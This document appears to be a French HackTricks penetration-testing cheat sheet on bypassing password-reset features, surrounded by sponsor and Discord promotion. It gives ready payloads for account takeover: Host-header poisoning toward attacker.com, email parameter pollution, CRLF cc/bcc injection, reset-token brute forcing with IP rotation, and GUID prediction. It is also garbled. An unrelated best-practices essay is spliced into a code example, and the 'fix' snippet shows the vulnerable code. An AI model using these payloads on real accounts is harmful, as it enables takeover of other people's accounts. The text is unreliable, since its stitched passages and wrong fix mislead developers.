# Contournement de réinitialisation/mot de passe oublié
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes !
**Perspectives de piratage**\
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
**Actualités de piratage en temps réel**\
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
**Dernières annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
La compilation des techniques suivantes a été prise sur [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
## Fuite de jeton de réinitialisation de mot de passe via le référent
Le **référent HTTP** est un champ d'en-tête HTTP facultatif qui identifie l'adresse de la page web liée à la ressource demandée. L'en-tête de requête Referer contient l'adresse de la page web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
### Exploitation
* Demandez la réinitialisation du mot de passe à votre adresse e-mail
* Cliquez sur le lien de réinitialisation du mot de passe
* Ne changez pas le mot de passe
* Cliquez sur des sites web tiers (par exemple : Facebook, Twitter)
* Interceptez la requête dans le proxy Burp Suite
* Vérifiez si l'en-tête referer divulgue le jeton de réinitialisation du mot de passe.
### Impact
Cela permet à la personne qui contrôle un site particulier de changer le mot de passe de l'utilisateur (attaque CSRF), car cette personne connaît le jeton de réinitialisation du mot de passe de l'utilisateur.
### Référence :
* https://hackerone.com/reports/342693
* https://hackerone.com/reports/272379
* https://hackerone.com/reports/737042
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
## Poisoning de réinitialisation de mot de passe
Si vous trouvez une attaque d'en-tête d'hôte et qu'elle est hors de portée, essayez de trouver le bouton de réinitialisation de mot de passe !
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
### Exploitation
* Interceptez la demande de réinitialisation de mot de passe dans Burpsuite
* Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burpsuite (essayez un par un)
```
Host: attacker.com
```
```
Host: target.com
X-Forwarded-Host: attacker.com
```
```
Host: target.com
Host: attacker.com
```
* Vérifiez si le lien pour changer le mot de passe dans l'e-mail pointe vers attacker.com
### Correctif
Utilisez `$_SERVER['SERVER_NAME']` plutôt que `$_SERVER['HTTP_HOST']`
```php
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
```
### Impact
La victime recevra le lien malveillant dans son courrier électronique et, lorsqu'elle cliquera dessus, elle divulguera le lien / jeton de réinitialisation du mot de passe de l'utilisateur à l'attaquant, ce qui entraînera la prise de contrôle complète du compte.
### Référence:
* https://hackerone.com/reports/226659
* https://hackerone.com/reports/167631
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
## Réinitialisation du mot de passe en manipulant le paramètre de courrier électronique
### Exploitation
* Ajouter l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant %20
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant cc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
* Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre dans le tableau JSON
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
### Référence
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
* https://twitter.com/HusseiN98D/status/1254888748216655872
## Modification de l'e-mail et du mot de passe de n'importe quel utilisateur via les paramètres de l'API
### Exploitation
* L'attaquant doit se connecter avec son compte et accéder à la fonctionnalité de modification du mot de passe
* Démarrer Burp Suite et intercepter la requête
* Après avoir intercepté la requête, l'envoyer à Repeater et modifier les paramètres E-mail et Mot de passe
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
### Référence
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
### Pas de limitation de taux : Bombardement d'e-mails
### Exploitation
* Démarrez Burp Suite et interceptez la demande de réinitialisation de mot de passe
* Envoyez à l'intrus
* Utilisez une charge utile nulle
### Référence
* https://hackerone.com/reports/280534
* https://hackerone.com/reports/794395
## Découvrez comment le jeton de réinitialisation de mot de passe est généré
Découvrez le modèle du jeton de réinitialisation de mot de passe
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
Si cela
* Généré en fonction de l'horodatage
* Généré en fonction de l'ID utilisateur
* Généré en fonction de l'e-mail de l'utilisateur
* Généré en fonction du prénom et du nom de famille
* Généré en fonction de la date de naissance
* Généré en fonction de la cryptographie
Utilisez Burp Sequencer pour trouver l'aléatoire ou la prévisibilité des jetons.
## GUID devinable
Il existe différents types de GUID :
* **Version 0 :** Seulement visible dans le GUID nul ("00000000-0000-0000-0000-000000000000").
* **Version 1 :** Le GUID est généré de manière prévisible en fonction de :
* L'heure actuelle
* Une "séquence d'horloge" générée de manière aléatoire qui reste constante entre les GUID pendant le temps de fonctionnement du système générateur
* Un "ID de nœud", qui est généré en fonction de l'adresse MAC du système si elle est disponible
* **Version 3 :** Le GUID est généré à l'aide d'un hachage MD5 d'un nom et d'un espace de noms fournis.
* **Version 4 :** Le GUID est généré de manière aléatoire.
* **Version 5 :** Le GUID est généré à l'aide d'un hachage SHA1 d'un nom et d'un espace de noms fournis.
Il est possible de regarder un GUID et de déterminer sa version, il existe un petit outil pour cela : [**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
```http
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
```
Si la version utilisée pour générer un GUID de réinitialisation de mot de passe est la version 1, il est possible de faire une attaque par force brute sur les GUIDs :
```http
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
```
### Références
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
## Manipulation de la réponse : Remplacer une mauvaise réponse par une bonne
Recherchez des requêtes et des réponses comme celles-ci
```php
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
```
# Réinitialisation du mot de passe
Lors d'un test de pénétration, il est souvent utile d'explorer les fonctionnalités de réinitialisation de mot de passe d'une application web. Cette fonctionnalité permet aux utilisateurs de récupérer l'accès à leur compte en cas d'oubli de leur mot de passe.
Cependant, il est important de vérifier la sécurité de cette fonctionnalité pour éviter toute exploitation malveillante. Voici quelques points à prendre en compte lors de l'évaluation de la réinitialisation du mot de passe :
## 1. Vérifier les contrôles d'authentification
Assurez-vous que la réinitialisation du mot de passe nécessite une authentification appropriée. Les utilisateurs doivent prouver qu'ils sont bien les propriétaires du compte avant de pouvoir réinitialiser leur mot de passe. Cela peut être fait en demandant des informations supplémentaires, telles que la réponse à une question de sécurité ou l'envoi d'un code de vérification à l'adresse e-mail associée au compte.
## 2. Éviter les fuites d'informations
Assurez-vous que le processus de réinitialisation du mot de passe ne divulgue pas d'informations sensibles. Par exemple, si un utilisateur fournit une adresse e-mail incorrecte lors de la réinitialisation, l'application ne doit pas révéler que cette adresse e-mail n'est pas associée à un compte existant. Cela pourrait aider un attaquant à identifier des comptes valides.
## 3. Protéger contre les attaques par force brute
Mettez en place des mesures de protection contre les attaques par force brute lors de la réinitialisation du mot de passe. Cela peut inclure des mécanismes de verrouillage du compte après un certain nombre de tentatives infructueuses ou l'utilisation de captchas pour vérifier que l'utilisateur est humain.
## 4. Vérifier les liens de réinitialisation
Assurez-vous que les liens de réinitialisation du mot de passe sont uniques, aléatoires et expirés après une période de temps définie. Cela empêche les attaquants de deviner ou de réutiliser les liens de réinitialisation pour accéder aux comptes des utilisateurs.
## 5. Surveiller les journaux d'activité
Enregistrez les activités liées à la réinitialisation du mot de passe, telles que les tentatives réussies ou infructueuses. Cela permet de détecter toute activité suspecte ou malveillante et de prendre les mesures appropriées.
En suivant ces bonnes pratiques, vous pouvez renforcer la sécurité de la fonctionnalité de réinitialisation du mot de passe de votre application web et protéger les comptes des utilisateurs contre les attaques.
```php
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
```
### Référence
* https://medium.com/@innocenthacker/comment-jai-trouvé-le-bug-le-plus-critique-dans-un-événement-live-de-chasse-aux-bugs-7a88b3aa97b3
### Utilisation d'un jeton expiré
* Vérifiez si le jeton expiré peut être réutilisé
### Brute Force du jeton de réinitialisation de mot de passe
Essayez de forcer le jeton de réinitialisation en utilisant Burpsuite
```php
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
```
* Utilisez IP-Rotator sur burpsuite pour contourner la limite de taux basée sur l'adresse IP.
### Référence
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
### Essayez d'utiliser votre jeton
* Essayez d'ajouter votre jeton de réinitialisation de mot de passe avec le compte de la victime.
```php
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
```
### Référence
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
## Invalidité de session lors de la déconnexion/réinitialisation du mot de passe
Lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe, la session en cours doit être invalidée.\
Par conséquent, récupérez les cookies pendant que l'utilisateur est connecté, déconnectez-vous et vérifiez si les cookies sont toujours valides.\
Répétez le processus en changeant le mot de passe au lieu de vous déconnecter.
## Temps d'expiration du jeton de réinitialisation
Les jetons de réinitialisation doivent avoir une durée de validité, après quoi le jeton ne doit plus être valide pour changer le mot de passe d'un utilisateur.
## Vérifications supplémentaires
* Utilisez username@burp\_collab.net et analysez le rappel
* Utilisateur en copie carbone email=victim@mail.com%0a%0dcc:hacker@mail.com
* Un mot de passe long (>200) entraîne un déni de service (DoS)
* Ajoutez un deuxième paramètre et une valeur d'e-mail
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en sécurité !
**Perspectives de piratage**\
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage.
**Actualités de piratage en temps réel**\
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel.
**Dernières annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme.
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).